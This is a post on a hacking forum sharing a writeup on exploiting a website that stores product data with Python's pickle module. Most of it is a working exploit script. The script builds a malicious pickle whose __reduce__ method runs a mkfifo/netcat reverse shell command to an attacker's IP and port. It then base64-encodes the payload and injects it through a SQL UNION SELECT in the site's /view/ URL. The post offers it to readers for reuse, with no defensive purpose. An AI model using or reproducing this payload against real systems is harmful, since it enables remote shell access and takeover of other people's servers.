Python Pickle Module Exploitation | General Hacking | Crax

Welcome To Crax.Pro Forum!

Check our new Marketplace at Crax.Shop

   Login! SignUp Now!
  • We are in solidarity with our brothers and sisters in Palestine. Free Palestine. To learn more visit this Page

  • Crax.Pro domain has been taken down!

    Alternatives: Craxpro.io | Craxpro.com

Python Pickle Module Exploitation

Python Pickle Module Exploitation

LV
1
 

kawbdfawfhj

Member
Joined
Sep 12, 2023
Threads
12
Likes
2
Awards
4
Credits
868©
Cash
0$
That's how I exploited a website that was using python pickle and pickletools modules.
I wrote this writeup a long time ago and I am now sharing it with you.

The website provides 4 store items which can be visited from address/view/product where product is a number from 1 to 4. These 4 items are saved and read in and from the database using the python module “pickle”.


It is possible to create a python object and inject it with pickle to open a reverse shell on the machine:

Python:
import pickle
import pickletools
import base64
import requests

class Payload:
    def __reduce__(self):
        import os
        cmd = ("rm /tmp/f; mkfifo /tmp/f; cat /tmp/f| /bin/sh -i 2>&1 | nc ip port >/tmp/f") #remote ip and port to open the reverse shell
        return os.system, (cmd,)

pickled = pickle.dumps(Payload())
pickletools.dis(pickled)
p64 = base64.b64encode(pickled).decode()

ip,port = #ip and port
conn = requests.Session()

exploit = "' UNION SELECT '%s' -- "%p64

a = requests.utils.requote_uri(exploit)
url = "http://%s:%d/view/%s"%(ip,port,a)
resp = conn.get(url,allow_redirects=True)

conn.close()
 

Create an account or login to comment

You must be a member in order to leave a comment

Create account

Create an account on our community. It's easy!

Log in

Already have an account? Log in here.

Top Bottom